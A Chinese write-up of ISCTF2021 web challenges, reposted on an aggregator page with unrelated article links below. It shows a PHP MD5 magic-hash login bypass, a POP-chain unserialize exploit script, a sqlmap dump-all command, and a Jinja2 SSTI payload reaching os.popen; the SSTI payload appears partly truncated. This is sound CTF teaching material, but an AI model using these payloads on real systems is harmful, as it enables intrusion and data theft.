当前位置: 首页 > news >正文

ISCTF2021

Web签到

题目提示需要查看源码直接抓包查看即可

或者修改url为view-source:http://challenge.imxbt.cn:31843/

view-source:的意思是查看源代码

即可查看源码Ctrl+U也可以,题目只是限制了F12

粗心的小蓝鲨

登录界面随便输入就会得到hint

<?php if (isset($_POST['username']) && isset($_POST['password'])) { $name=$_POST["username"]; $pwd=$_POST["password"]; $logined = true; $flag = 'XXXX'; include("flag.php"); //检查是否通过 POST 方法提交了 username 和 password if (!ctype_alpha($name)) {$logined = false;} //username 必须全部由 纯字母(A-Z, a-z)组成。如果包含数字、空格或特殊字符,登录失败 if (!is_numeric($pwd) ) {$logined = false;} //password 必须是一个 数字 或 数字字符串 if (md5($name) != md5($pwd)) {$logined = false;} //弱比较账号和密码的MD5值 if ($logined){ echo "<h1>"."login successful"."<p>".$flag; }else{ echo "<h1>"."Login failed"."<p>"."The blue shark mocked you and threw a hint at you"."<p>"; highlight_file(__FILE__); } } ?>

我们可以找两个个MD5值都是0e开头的字符串和数字字符串

QNKCDZO 0e830400451993494058024219903391 240610708 0e462097431906509019562988736854

即可获取flag

pop_unserialize

<?php //flag.php //MF师傅告诉我file_get_contents这个函数能输出flag.php里面的内容 error_reporting(0); class MF_is_cat{ private $pop = "f00001111"; public $MF = "miao~ miao~ miao~"; function __construct(){ $this->pop =new ISCTF(); } function __destruct(){ $this->pop->action(); } } class ISCTF{ function action(){ echo "Welcome to ISCTF World!"; } } class Show{ var $test2; function action(){ echo file_get_contents('f'.$this->test2.'g.php'); } } if(isset($_POST['ISCTF'])){ unserialize($_POST['ISCTF']); }else{ $obj = new MF_is_cat(); highlight_file(__FILE__); } ?> Welcome to ISCTF World!
<?php class MF_is_cat{ private $pop = "f00001111"; public $MF = "miao~ miao~ miao~"; function __construct(){ $this->pop =new Show(); } } class Show{ public $test2="la"; function action(){ } } echo urlencode(serialize(new MF_is_cat())); ?> //控制 MF_is_cat 类的 $pop 属性,使其成为一个 Show 类的对象 控制 Show 类的 $test2 属性,将其赋值为字符串 "la" 反序列化结束后,PHP 销毁 MF_is_cat 对象,触发 __destruct() 进而调用 Show->action(),执行 file_get_contents('flag.php')

easysql

存在报错注入

直接

D:\web\sqlmap-master\sqlmap-master>python sqlmap.py -u "http://challenge.imxbt.cn:31390/login.php?username=admin&password=123" --dump-all

就可以了,就是有点慢

小蜘蛛

提示存在robots.txt

easy flask

看到提示直接查看全局

/?id={% for c in ().__class__.__mro__[1].__su {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__=={}.__class__ %} {% if 'eval' in b.keys() %} {{b['eval']('__import__("os").popen("grep ISCTF *").read()')}} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

当然也可以直接找

拼图

拼好就给flag

http://www.jsqmd.com/news/475901/

相关文章:

  • PROJECT MOGFACE辅助C语言学习:代码解释、调试与练习题生成
  • carsim simulink仿真,纯电动汽车Acc 自适应巡航 上层控制器 包括 mpc跟车...
  • 手动改写 vs AI工具降AI:效率和效果到底差多少?
  • 【MySQL开发】
  • 油车和电车标称续航500公里,两者不具可比性,电车有效续航可低至三成
  • Git系列一:git的下载与安装
  • 航空航天Web服务SpringBoot如何实现卫星数据大文件夹的秒传断点续传?
  • AIGlasses_for_navigation 高级教程:利用 ComfyUI 构建可视化导航工作流
  • AI 辅助开发实战:基于 Spring Boot 的 Java 电商系统毕设架构与提效指南
  • GLM-4-9B-Chat-1M实战案例:跨境电商产品说明书多语言自动校验与合规提示
  • 5分钟部署Qwen-Image-Edit-2509:体验用自然语言指令修改图片的乐趣
  • MedGemma Medical Vision Lab实测效果分享:GPU显存仅需16GB完成4B参数多模态推理
  • 探索AI辅助开发:用claude code在快马平台进行智能代码审查与优化
  • 深入学习 Windows 系统安全2
  • 飞轮储能系统:机侧与网侧变流器及其控制、PMSM应用与Matlab/Simulink仿真模型
  • Python基于flask-django基于机器学习的电商产品智能推荐系统的设计与实现
  • Fooocus:突破AI艺术创作壁垒的革新工具
  • 抖音直播内容高效保存方案:从技术原理到实战指南
  • 3个颠覆认知的抖音直播保存技巧:从反复失败到高效归档
  • TKDE-2023《Self-Supervised Discriminative Feature Learning for Deep Multi-View Clustering (SDMVC)》
  • 苍穹外卖Day5.1 (Redis入门和在Java中使用 店铺状态)
  • DVWA加phpstudy搭建渗透测试环境
  • 一键部署卡证检测矫正模型至Ubuntu服务器:生产环境配置指南
  • 金融场景的数据库:不是选择题,是生死线
  • 亚洲美女-造相Z-Turbo快速上手:无需Python环境,Gradio界面直连生成亚洲风格人像
  • GD32F470嵌入式游戏机硬件设计与FSMC显示驱动实践
  • IJCAI-2024《Efficient Multi-view Unsupervised Feature Selection with Adaptive Structure Learning》
  • 2026年3月企业微信SCRM系统TOP5实测榜单 | 私域运营增长与合规避坑指南
  • LangChain之消息体系深度解析
  • Cosmos-Reason1-7B快速部署:NVIDIA开源模型开箱即用全流程